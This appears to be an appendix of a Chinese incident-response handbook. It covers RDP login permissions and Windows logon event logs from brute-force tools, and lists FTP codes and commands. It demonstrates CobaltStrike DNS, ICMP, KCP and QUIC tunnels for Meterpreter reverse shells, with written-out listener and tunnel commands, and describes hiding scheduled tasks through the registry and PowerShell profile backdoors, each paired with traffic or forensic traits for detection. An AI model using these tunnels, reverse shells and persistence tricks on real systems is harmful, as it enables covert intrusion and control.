知识点附录
0x01 谁可以使用远程桌面服务¶
Windows 中确定可登录账号要比 Linux 麻烦一些
默认情况下,开启远程桌面登录,将自动允许以下两个组的成员登录
Administrators
Remote Desktop Users
搜索计算机管理
计算机管理(本地) -> 系统工具 -> 本地用户和组
默认情况下 Remote Desktop Users
组是空的,抛开运维人员额外配置以外,还有一种情况会将用户添加到该组
如果在此处点击选择用户,之后就可以选择用户拥有使用远程桌面连接的权限
输入想要使用远程桌面的用户名,点击检查名称后,会自动识别匹配计算机中的用户名
此时点击确定,remotetest
用户就可以使用远程桌面连接服务器了
在计算机管理的用户和组中可以看到,remotetest
已经被添加到 Remote Desktop Users
组了
Windows 中可以通过组策略设置允许/拒绝某个用户/用户组 通过远程桌面登录
win + r
或点击搜索图标,填入 Gpedit.msc
本地计算机 策略 -> 计算机配置 -> Windows 设置 -> 安全设置 -> 本地策略 -> 用户权限分配
打开 允许通过远程桌面服务登录
可以看到,这里默认存在两个组,也就是上面我们讨论的。选择添加用户或组,将我们 Users
组中的 remotetest
(此时只在 Users
组) 添加进去
刷新组策略,使其立即生效
尝试通过 remotetest
进行登录
很遗憾,依旧不允许登录
本来我还以为找到了 Windows
管理用户登录的配置项,现在看来并不是,至少优先级不是很高
删除掉我们刚才的配置,还原默认情况,打开 允许通过远程桌面服务登录
默认情况下是空的,我们将管理员组的 helper
添加进去
刷新组策略,使其立即生效
使用 helper
账户进行登录
可以看到,是无法登录的,同时正在本地登录的 helper
也不会被挤掉,没有任何反应
我们测试一下在 允许/拒绝
两个配置项中都添加 helper
会怎么样
尝试登录
登录不了
因此从逻辑角度来讲,允许通过远程桌面服务登录
的意义可能在于,拒绝通过远程桌面服务登录
将上述两个默认可以登录的组禁止了,之后再通过 允许通过远程桌面服务登录
设置特例,不然感觉不到它的意义
尝试将 remotetest
加入 Remote Desktop Users
组,之后将 Remote Desktop Users
组设置为拒绝登录
此时测试,remotetest
可以远程登录到服务器
尝试使用 remotetest
登录系统
无法登录,经过测试,此时管理员组的 helper
是可以正常登录的
尝试在 允许通过远程桌面服务登录
中添加 remotetest
账户
再次尝试通过 remotetest
进行登录
还是无法登录
此时就无法理解 Windows 中 允许通过远程桌面服务登录
的意义到底是什么了,目前可以确定的是: Windows Server 2016 中能够登录远程桌面的账户为
Administrators
组内账号Remote Desktop Users
组内账号- 减去
拒绝通过远程桌面服务登录
组策略内的账号和组
参考文章
https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/remote/deny-user-permissions-to-logon-to-rd-session-host
0x02 RDP爆破登录的日志情况¶
RDP
暴力破解肯定会造成非常多的登录错误日志
- 打开事件查看器,可以通过在开始菜单中搜索 "事件查看器" 或运行命令
eventvwr.msc
来打开它。 - 在事件查看器窗口中,导航到 "Windows 日志" > "安全"。
- 在右侧窗格中,你将看到列出的安全事件日志。
- 在过滤器中,选择 "筛选当前日志"。
- 在 "事件 ID" 输入框中输入 "4625",这是与用户登录失败相关的事件 ID。
- 单击 "确定" 按钮,将仅显示与用户登录失败相关的事件日志。
帐户登录失败。
使用者:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
登录类型: 3
登录失败的帐户:
安全 ID: NULL SID
帐户名: Administrator
帐户域:
失败信息:
失败原因: 未知用户名或密码错误。
状态: 0xC000006D
子状态: 0xC000006A
进程信息:
调用方进程 ID: 0x0
调用方进程名: -
网络信息:
工作站名: -
源网络地址: 10.211.55.2
源端口: 0
详细身份验证信息:
登录进程: NtLmSsp
身份验证数据包: NTLM
传递服务: -
数据包名(仅限 NTLM): -
密钥长度: 0
在这些错误信息中可以获取到源IP、使用的用户名、登录的类型
这里使用的是 goby
进行暴力破解模拟,记录的类型是 3
,也就是网络登录,然而一般网络登录记录的是SMB、映射网络驱动器等
我们尝试使用 fscan
暴力破解
帐户登录失败。
使用者:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
登录类型: 3
登录失败的帐户:
安全 ID: NULL SID
帐户名: admin
帐户域:
失败信息:
失败原因: 未知用户名或密码错误。
状态: 0xC000006D
子状态: 0xC0000064
进程信息:
调用方进程 ID: 0x0
调用方进程名: -
网络信息:
工作站名: -
源网络地址: 10.211.55.2
源端口: 0
详细身份验证信息:
登录进程: NtLmSsp
身份验证数据包: NTLM
传递服务: -
数据包名(仅限 NTLM): -
密钥长度: 0
登录请求失败时在尝试访问的计算机上生成此事件。
“使用者”字段指明本地系统上请求登录的帐户。这通常是一个服务(例如 Server 服务)或本地进程(例如 Winlogon.exe 或 Services.exe)。
“登录类型”字段指明发生的登录的种类。最常见的类型是 2 (交互式)和 3 (网络)。
“进程信息”字段表明系统上的哪个帐户和进程请求了登录。
“网络信息”字段指明远程登录请求来自哪里。“工作站名”并非总是可用,而且在某些情况下可能会留为空白。
“身份验证信息”字段提供关于此特定登录请求的详细信息。
-“传递服务”指明哪些直接服务参与了此登录请求。
-“数据包名”指明在 NTLM 协议之间使用了哪些子协议。
-“密钥长度”指明生成的会话密钥的长度。如果没有请求会话密钥,则此字段为 0。
fscan
暴力破解留下的日志登录类型也是 3
尝试通过官方的远程工具制造登录失败日志
帐户登录失败。
使用者:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
登录类型: 3
登录失败的帐户:
安全 ID: NULL SID
帐户名: admin
帐户域: .
失败信息:
失败原因: 未知用户名或密码错误。
状态: 0xC000006D
子状态: 0xC0000064
进程信息:
调用方进程 ID: 0x0
调用方进程名: -
网络信息:
工作站名: WINDOWS-11
源网络地址: 10.211.55.53
源端口: 0
详细身份验证信息:
登录进程: NtLmSsp
身份验证数据包: NTLM
传递服务: -
数据包名(仅限 NTLM): -
密钥长度: 0
通过官方给 mac
开发的工具查看
帐户登录失败。
使用者:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
登录类型: 3
登录失败的帐户:
安全 ID: NULL SID
帐户名: admin1
帐户域:
失败信息:
失败原因: 未知用户名或密码错误。
状态: 0xC000006D
子状态: 0xC0000064
进程信息:
调用方进程 ID: 0x0
调用方进程名: -
网络信息:
工作站名: -
源网络地址: 10.211.55.2
源端口: 0
详细身份验证信息:
登录进程: NtLmSsp
身份验证数据包: NTLM
传递服务: -
数据包名(仅限 NTLM): -
密钥长度: 0
如果是远程桌面应用登录成功呢
当输入正确的密码后,来到此页面,此时服务器的日志情况为
也是登录类型为 3
,当然事件ID
为 4624
类型为注销的日志登录类型也是 3
此时点击是,进行正常登录
紧接着刚才的日志,又产生了登录类型为 3 和 2 的登录日志
之后来到登录类型为 10
的日志
登录类型 10
就是远程互动登录了,主要就是指远程桌面
所以这里大家需要关注的是事件 ID
为 4625
的日志,而不是只关注 4625
日志中登录类型为 10
的日志
事件ID列表和登录类型列表如下
事件ID | 事件标题 | 描述 |
---|---|---|
4624 | 登录成功 | 记录用户成功登录系统的事件,包括登录类型、登录时间和登录用户等信息。 |
4625 | 登录失败 | 记录登录尝试失败的事件,提供有关失败原因、失败子状态和登录用户名等信息。 |
4634 | 注销 | 记录用户注销系统的事件,包括注销类型和注销用户等信息。 |
4648 | 以明文密码登录 | 记录以明文密码方式进行的登录尝试的事件。 |
4768 | Kerberos 预身份验证 | 记录使用Kerberos预身份验证的事件,通常用于服务票据(Service Ticket)的请求。 |
4769 | Kerberos 服务票据请求 | 记录请求Kerberos服务票据的事件,通常用于服务认证。 |
4776 | 帐户已锁定 | 记录帐户由于登录失败次数超过限制而被锁定的事件。 |
7035 | 服务状态更改 | 记录系统中的服务状态更改事件,例如服务的启动、停止和重启。 |
7045 | 服务安装 | 记录新安装的服务的事件,包括服务名称和执行路径等信息。 |
800 | Windows Update 完成 | 记录Windows Update 完成的事件 |
登录类型
登录类型 | 登录标题 | 描述 |
---|---|---|
0 | System | 仅由系统帐户使用,例如在系统启动时。 |
2 | Interactive | 登录到此计算机的用户 |
3 | Network | 从网络登录到此计算机的用户或计算机。 |
4 | Batch | 批处理登录类型由批处理服务器使用,其中进程可以代表用户执行,而无需用户直接干预。 |
5 | Service | 服务控制管理器已启动服务。 |
7 | Unlock | 已解锁此工作站。 |
8 | NetworkCleartext | 从网络登录到此计算机的用户。 用户的密码以未经过哈希处理的形式传递给验证包。 内置的身份验证将所有哈希凭证打包,然后再通过网络发送它们。 凭据不会以纯文本(也称为明文)形式遍历网络。 |
9 | NewCredentials | 调用方克隆了其当前令牌并为出站连接指定了新凭据。 新登录会话具有相同的本地标识,但对其他网络连接使用不同的凭据。 |
10 | RemoteInteractive | 使用终端服务或远程桌面远程登录到此计算机的用户。 |
11 | CachedInteractive | 使用存储在计算机上的本地网络凭据登录到此计算机的用户。 未联系域控制器以验证凭据。 |
12 | CachedRemoteInteractive | 与 RemoteInteractive 相同。 这用于内部审核。 |
13 | CachedUnlock | 工作站登录。 |
参考文档
https://learn.microsoft.com/zh-cn/windows-server/identity/securing-privileged-access/reference-tools-logon-types
https://learn.microsoft.com/zh-cn/windows/security/threat-protection/auditing/event-4624
0x03 RDP和SMB登录失败日志的区别¶
在 Windows Server 2016 中, RDP
和 SMB
登录失败的日志ID均为 4625
,登录类型均为 3
但是经过多种工具测试发现: SMB协议登录失败会记录源端口、RDP协议登录源端口为 0
0x04 FTP 状态码列表¶
FTP(文件传输协议)定义了一系列状态码,用于表示服务器对客户端请求的响应状态。下面是一些常见的FTP状态码及其含义的示例:
1. 100 系¶
1xx(肯定的初步答复):表示服务器已接收到请求并等待进一步操作。
- 100:服务器已准备就绪,可以执行新的用户请求。
- 110:重新启动标记回应。
2. 200 系¶
2xx(肯定的完成答复):表示服务器成功接收并理解了客户端请求。
- 200:命令执行成功。
- 202:命令未执行,站点上的命令队列已满。
- 211:系统状态回复。
- 212:目录状态回复。
- 213:文件状态回复。
- 214:帮助信息回复。
- 215:系统类型回复。
- 220:服务就绪,可以执行新的用户请求。
- 221:服务关闭控制连接,请求的文件操作已成功完成。
- 225:数据连接打开,无需传输数据。
- 226:关闭数据连接,请求的文件操作已成功完成。
- 227:进入被动模式(IP 地址、ID 端口)。
- 228:进入长袖模式(服务器等待客户端连接)。
- 229:进入扩展被动模式(服务器等待客户端连接)。
- 230:用户已登录,继续进行。
- 250:文件操作完成,路径名创建。
3. 300 系¶
3xx(肯定的中间答复):表示需要进一步采取操作以完成请求。
- 331:需要用户名和密码进行身份验证。
- 332:需要帐户信息进行身份验证。
- 350:请求的文件操作需要进一步的信息。
4. 400 系¶
4xx(暂时的否定答复):表示客户端的请求包含错误语法或无法完成。
- 421:服务不可用,正在关闭控制连接。
- 425:无法打开数据连接。
- 426:连接关闭,传输中止。
- 450:请求的文件操作被拒绝。
5. 500 系¶
5xx(永久的否定答复):表示服务器拒绝执行客户端请求。
- 500:无效的命令。
- 501:参数语法错误。
- 502:命令未实现。
- 503:错误的命令序列。
- 504:命令参数不可用。
- 530:登录失败,需要有效的用户名和密码。
- 532:存储文件需要帐户。
- 550:请求的操作被拒绝或文件不可用。
0x05 FTP 命令列表¶
FTP(文件传输协议)定义了一些常见的方法(也称为命令),用于在客户端和服务器之间进行文件传输和管理。以下是一些常见的FTP方法:
-
USER:用于指定登录用户名。
-
PASS:用于指定登录密码。
- LIST:列出指定目录下的文件和子目录。
- CWD(Change Working Directory):改变当前工作目录。
- PWD(Print Working Directory):打印当前工作目录的路径。
- RETR(Retrieve):从服务器下载(获取)文件。
- STOR(Store):向服务器上传(存储)文件。
- DELE(Delete):删除服务器上的指定文件。
- MKD(Make Directory):创建新目录。
- RMD(Remove Directory):删除目录。
- RNFR(Rename From):重命名文件或目录的起始位置。
- RNTO(Rename To):重命名文件或目录的目标位置。
- ABOR(Abort):中止正在进行的文件传输。
- QUIT:断开与服务器的连接并退出FTP会话。
除了上述方法,FTP还支持其他一些方法,如APPE(追加文件内容)和SIZE(获取文件大小),这些方法的具体实现可能会因FTP服务器的不同而有所差异。此外,FTP还支持一些用于传输数据的命令,如PASV(被动模式)和PORT(主动模式)。
0x06 CobaltStrike DNS 隧道演示¶
大家也可以在本地进行实验,这里为了贴近真实,采用真实的域名和VPS服务器
1. 部署 CobaltStrike 服务器¶
直接在 Vultr
创建一个 Kali Linux
,并且搭建 CS
服务器端
2. 创建域名解析记录¶
域名为 vulndmz.com
设置 A
记录只向我们的 CS
地址,添加一条 NS
记录,指向 A
记录,这样 ns.vulndmz.com
设置为 www.vulndmz.com
的授权域名服务器
3. CS上添加监听器¶
4. 生成 payload¶
5. 受害主机执行后上线¶
6. 流量分析¶
可以看到存在 TXT
、 A
、AAAA
等记录,并且存在非常长的 DNS 记录,例如
post.2b015e68bdce7d286b2f23340bb11349fd245e3b158b15f96fb3abe3e.f8e1b3007d4f2e98a41f5c0aceb92097545de8ff4b698b260f4963e7.1fb27f5a.3556fdbe.ns1.vulndmz.com
0x07 Pingtunnel ICMP隧道演示¶
场景为受害主机只允许 ICMP
,现在想上线 MSF
,所以我们要将受害主机与攻击机中间建立一条隧道,之后让msf
的 tcp
木马通过隧道反弹 shell
1. 部署Pingtunnel服务端¶
wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip
./pingtunnel -type server -key 1234
这里设置密码为 1234
2. 客户端连接服务端¶
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4444 -tcp 1 -key 1234
需要管理员权限执行
这个命令的意思是客户端连接服务端 www.yourserver.com
,之后在受害主机的 4455
端口和攻击主机的 4444
端口做一个隧道
这里域名也可以是 IP
,刚好 CS
演示时配置了 DNS
,域名为 www.vulndmz.com
,这里直接使用
3. MSF 生成 payload¶
注意,这里写的反连地址为 127.0.0.1:4455
4. MSF 配置监听¶
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit
5. 执行 payload¶
有点难为 icmp
隧道了,连接一直建立不起来,我们尝试新建一个 stageless
的木马
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit
客户端显示了有一个连接
然而显然是又难为它了,我们还是看一下 ICMP
隧道的情况吧
此时在疯狂发送ICMP
包,所以一般总结以下特征
- 向单一目标发
ICMP
包频率高 ICMP
数据包一般大于Windows
平台默认的长度- 发送内容可以看出非
Windows
平台默认的ping
请求
6. 内网环境再次模拟¶
下面用内网演示一下吧
现在还是将 Kali 的 4444 端口和受害主机的 4455 端口建立一条隧道
除了受害主机 Pingtunnel
客户端连接的服务端地址变了,其他都不变,甚至刚才的木马都不需要变
执行木马程序,抓取数据包
成功获取反弹shell
流量特征与上面一样
手册里保留上面因为网络而失败的部分,主要还是想提醒大家,ICMP
隧道稳定性更差,不是逼到万不得已,可能攻击者不会采用这种方式。怪不得 CS
里默认都没有 ICMP
这种上线方式
0x08 Kcptun KCP 隧道演示¶
内网受害主机和攻击机之间创建一个 KCP
协议的隧道,之后通过该隧道完成 MSF
上线
受害主机: 10.211.55.52
攻击主机: xx.xx.xx.xx
1. 部署 kcptun 服务端¶
wget https://github.com/xtaci/kcptun/releases/download/v20231012/kcptun-linux-amd64-20231012.tar.gz
./server_linux_amd64 -t "127.0.0.1:4444" -l ":4000" -mode fast3 -nocomp -sockbuf 16777217 -dscp 46
2. 生成 MSF payload¶
3. MSF 配置监听¶
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
exploit
4. kcptun 客户端连接服务端¶
kcptun_client.exe -r "45.32.26.140:4000" -l ":8388" -mode fast3 -nocomp -autoexpire 900 -sockbuf 16777217 -dscp 46
5. 执行 payload¶
客户端显示
成功获取 shell
6. 流量分析¶
目前 Wireshark
默认还不支持 KCP
协议,显示的是 UDP
协议,需要使用一些插件
然而略显遗憾的是,我找了很多插件,都没有办法详细显示 kcptun
的数据包。虽然看着这些数据包大小相对统一,但还是之前的思想,不建议将其认定为特征
0x09 Gost QUIC 隧道演示¶
gost
这个工具建议大家有时间尝试一下,这里演示使用的是 V3
版本的
1. 部署 gost 服务端¶
wget https://github.com/go-gost/gost/releases/download/v3.0.0-nightly.20231227/gost_3.0.0-nightly.20231227_linux_amd64v3.tar.gz
./gost -L quic://45.32.26.140:1443/ -F tcp://127.0.0.1:4444
将客户端连接到 1443 端口quic数据通道内部的流量转到 4444 端口的TCP协议的服务上
2. 生成 MSF payload¶
3. MSF 配置监听¶
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
exploit
4. gost 客户端连接服务端¶
5. 执行 payload¶
成功获取shell
6. 流量分析¶
除了短时间、单一目标、大量 QUIC
协议数据包(可能还包含大量的UDP协议包)以外,剩下的就是工具的特征了
0x10 谁决定计划任务的执行结果¶
1. 简介¶
由于 Windows 不开源,而 Windows 的某一项服务可能受多个配置项影响,所以很多研究员通过逆向的方式,分析服务调用过程,推测执行流程,例如
https://mp.weixin.qq.com/s/ktGug1VbSpmzh9CEGKbbdw
https://mp.weixin.qq.com/s/aS5MRwnYR5pqE1PmKiH24w
这里不搞这么复杂,我们通过查询资料得知,计划任务的配置既存在于计划任务文件之中,又存在于注册表之中
接下来我们通过简单的实验,确定一下到底是计划任务文件还是注册表在决定着计划任务的执行结果,还是相互同步修改的
测试环境: Windows Server 2016
不同操作系统的情况可能不同
整体思路如下:
创建两个计划任务,一个修改文件,一个修改注册表,之后观察两个计划任务的执行情况
计划任务文件地址
注册表位置
注册表相关的在此位置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule
计划任务的 id、index、SD 在此位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
计划任务的具体配置在此位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{id}
2. 修改文件测试¶
1) 创建计划任务¶
taskschd.msc
打开任务计划程序,这名字有点绕口,后续称为计划任务程序
添加一个操作: 执行 cmd
将触发器设置为每 3
分钟执行一次
稍作等待
成功执行计划任务
2) 查看计划任务文件¶
计划任务文件地址
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2024-01-04T01:53:37.7714703</Date>
<Author>WIN-2MTJ8IQ5VEA\Administrator</Author>
<URI>\test1</URI>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<Repetition>
<Interval>PT3M</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2024-01-04T01:51:41</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>LeastPrivilege</RunLevel>
<UserId>WIN-2MTJ8IQ5VEA\Administrator</UserId>
<LogonType>InteractiveToken</LogonType>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\calc.exe</Command>
</Exec>
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
</Exec>
</Actions>
</Task>
3) 查看注册表¶
先获取该计划任务的 id
在 Tasks
上点击编辑 -> 查找
其中 Actions
就是计划任务执行的操作,是一个二进制值
4) 修改计划任务文件¶
删除掉执行 cmd
的操作,即删除
计划任务程序并没有发生改变,等待下次计划任务执行
多次执行结果都是 计算机和 cmd
都执行了
此时查看注册表
并没有发生变化
5) 尝试重启服务器¶
当然,也可以尝试重启计划任务服务,虚拟机,重启服务器方便很多
依旧是两个操作都执行了
注册表没有被修改
6) 小结¶
看来计划任务文件不是决定计划任务执行结果的主因
3. 修改注册表测试¶
1) 创建计划任务¶
删除掉 test1
,创建一个一摸一样的 test2
,这次两分钟执行一次
2) 查看计划任务文件¶
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2024-01-04T02:17:38.3850798</Date>
<Author>WIN-2MTJ8IQ5VEA\Administrator</Author>
<URI>\test2</URI>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<Repetition>
<Interval>PT2M</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2024-01-04T02:17:29</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>LeastPrivilege</RunLevel>
<UserId>WIN-2MTJ8IQ5VEA\Administrator</UserId>
<LogonType>InteractiveToken</LogonType>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\calc.exe</Command>
</Exec>
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
</Exec>
</Actions>
</Task>
3) 查看并修改注册表¶
修改计划任务注册表需要 SYSTEM
权限,通过 SysinternalsSuite
套件中的 psexec64.exe
以 SYSTEM
权限启动注册表编辑器,就可以编辑了
https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
尝试删除掉 C:\Windows\System32\cmd.exe
刷新计划任务程序
原本的计划任务不见了
查看计划任务文件
计划任务文件没有被修改
我们设置的计划任务是 2
分钟执行一次,不急,让子弹飞一会儿
修改后虽然看不见了,依旧可以执行,观察多次执行结果都是如此
4) 重启服务器¶
在总的计划任务状态里还是能看见的
重启后,该计划任务不再运行,计划任务文件没有被更改
注册表对计划任务的影响很大,但是修改后,重启服务后导致不再计划任务运行,可能是修改后 HASH
校验过不去?
5) 注册表中将操作清空¶
计划任务程序依旧显示为空
6) 小结¶
注册表对计划任务影响很大,修改后不会立即生效,会在计划任务服务重启后生效
具体修改后,重启计划任务服务后执行直白,可能是因为 HASH
校验吧,也可能是因为我们修改二进制值格式不对,接下来我们来探究
4. 修改注册表中字符串值¶
既然二进制值修改有问题,我修改字符串试试
1) 创建计划任务¶
创建计划任务 test3
2) 修改注册表¶
将创建时间中的 2:44:58
修改为 2:40:58
这次刷新计划任务程序,非但没有消失,创建时间还被更改成功了,看来计划任务程序的内容是从注册表中拿的
目前能够成功执行,根据之前的测试结果,计划任务服务此时并不会加载注册表的修改
计划任务文件并没有被修改
3) 重启服务器¶
重启后,不仅创建时间被修改了没变回来,计划任务可以正常执行
计划任务文件并没有被修改
4) test2 使用 test3 的 Actions
¶
如果我将 test3
的 Actions
用给 test2
,会不会把 test2
救活呢?
获取 test3
的 Actions
找到 test2
,替换
test2
回来了,删除 test3
,看看 test2
会不会立即生效
等了一会儿,没有执行
5) 重启服务器¶
重启服务器后成功执行
也就是说刚才我们修改二进制数据修改的不对,只要字符格式正确,应该就可以显示
5. Fuzz Actions 格式¶
1) 修改注册表 Actions
值¶
直接用 test2
就好
可以考虑从结尾一个字符一个字符删除,之后每次去刷新计划任务程序,查看是否显示
但是稍加观察,也可以发现,每个操作的程序路径结尾有九个00
,由于我们知道计划任务中操作的实际内容,那直接尝试删除到九个00
处
刷新后,计划任务程序中 test2
还在,操作处果然只剩下一个操作了
计划任务文件并没有被更改
这下可以等一等接下来的计划任务执行了
之后的多次执行结果都是计算器和cmd
均执行,计划任务文件没有被更改
2) 重启服务器¶
通过注册表对计划任务的修改开始生效,只执行了计算器
计划任务文件没有被更改,内容如下
3) 尝试重启计划任务服务¶
任务管理器中直接重启是不行的,需要通过 SYSTEM
权限打开任务管理器
这回启动后, pid
就变了
计划任务文件依旧没有改变
6. 不显示的计划任务会执行吗?¶
这里说的并不是指修改 SD
那种,就是单纯的将 Actions
去掉一个 00
1) 修改注册表¶
新建一个 test4
去掉一个 00
计划任务程序处已经消失了,但是还在执行计算器,这是因为注册表修改的计划任务会在计划任务服务重启后生效
2) 重启计划任务服务¶
计划任务没有再次执行,计划任务文件没有被更改
3) 命令行执行计划任务¶
7. 总结¶
- Windows Server 2016 中计划任务主要有注册表决定
- 通过注册表修改的计划任务不会立即生效,会在计划任务服务重启后生效
- 计划任务文件修改后不会影响计划任务执行
- 修改计划任务文件和修改注册表不会互相同步,也不会单向同步
0x11 PowerShell 配置文件实验¶
cmd
没有类似于 bash
的配置文件,但是 Powershell
是有的
https://learn.microsoft.com/zh-cn/Powershell/module/microsoft.Powershell.core/about/about_profiles?view=Powershell-7.4
PowerShell 控制台支持以下基本配置文件。 配置文件按照执行顺序列出。
- 所有用户,所有主机
- Windows -
$PSHOME\Profile.ps1
。 - Linux -
/opt/microsoft/Powershell/7/profile.ps1
- macOS -
/usr/local/microsoft/Powershell/7/profile.ps1
- Windows -
- 所有用户,当前主机
- Windows -
$PSHOME\Microsoft.PowerShell_profile.ps1
。 - Linux -
/opt/microsoft/Powershell/7/Microsoft.PowerShell_profile.ps1
- macOS -
/usr/local/microsoft/Powershell/7/Microsoft.PowerShell_profile.ps1
- Windows -
- 当前用户,所有主机
- Windows -
$HOME\Documents\PowerShell\Profile.ps1
。 - Linux -
~/.config/Powershell/profile.ps1
- macOS -
~/.config/Powershell/profile.ps1
- Windows -
- 当前用户,当前主机
- Windows -
$HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
。 - Linux -
~/.config/Powershell/Microsoft.PowerShell_profile.ps1
- macOS -
~/.config/Powershell/Microsoft.PowerShell_profile.ps1
- Windows -
$PROFILE
自动变量存储当前会话中可用的 PowerShell 配置文件的路径。
若要查看配置文件路径,请显示 $PROFILE
变量的值。 还可以在命令中使用 $PROFILE
变量来表示路径。
$PROFILE
变量存储“当前用户,当前主机”配置文件的路径。 其他配置文件保存在 $PROFILE
变量的注释属性中。
例如,$PROFILE
变量在 Windows PowerShell 控制台中具有以下值。
- 当前用户,当前主机 -
$PROFILE
- 当前用户,当前主机 -
$PROFILE.CurrentUserCurrentHost
- 当前用户,所有主机 -
$PROFILE.CurrentUserAllHosts
- 所有用户,当前主机 -
$PROFILE.AllUsersCurrentHost
- 所有用户,所有主机 -
$PROFILE.AllUsersAllHosts
由于每个用户和每个主机应用程序中 $PROFILE
变量的值发生更改,因此请确保在所使用的每个 PowerShell 主机应用程序中显示配置文件变量的值。
若要查看 $PROFILE
变量的当前值,请键入:
PowerShell
AllUsersAllHosts : C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost : C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
CurrentUserAllHosts : C:\Users\Administrator\Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost : C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
这些配置文件中都可以类似 Bash
配置文件一样,在其中放置后门程序
默认情况下都不存在这些文件
接下来进行试验
创建 C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
输出字符 I am a Backdoor
在 cmd
中输入 Powershell
进入 Powershell
创建 C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
输出字符 I am the second Backdoor
在 Powershell
中输入 Powershell
进入新的 Powershell
创建 C:\Users\Administrator\Documents\WindowsPowerShell\profile.ps1
输出 I am the third Backdoor
发现连 WindowsPowerShell
这个目录都没有,创建目录及文件
在 Powershell
中输入 Powershell
进入新的 Powershell
创建 C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
输出 I am the fourth Backdoor
刚才已经创建了目录,现在直接创建文件了
在 Powershell
中输入 Powershell
进入新的 Powershell
这四个配置文件均可正常使用
尝试重启电脑,再次进入 Powershell
仍然有效
现在有一个疑问,如果不是进入 Powershell
控制台,直接执行正常的 Powershell
脚本会执行吗
编写一个向控制台输出 Hello World
的脚本,同时弹出消息框的脚本 demo.ps1
Write-Host "Hello World"
# 弹出一个消息框
Add-Type -AssemblyName PresentationFramework
[System.Windows.MessageBox]::Show("Hello, World!")
在第一个后门文件中额外插入Powershell
代码,将 I am a Backdoor
写入到桌面的 backdoor.txt
中
先是在 cmd
中进行测试
删除 backdoor.txt
图形化右键执行 demo.ps1
也就是说这类后门对所有的 Powershell 程序有效
0x12 服务隐藏与排查¶
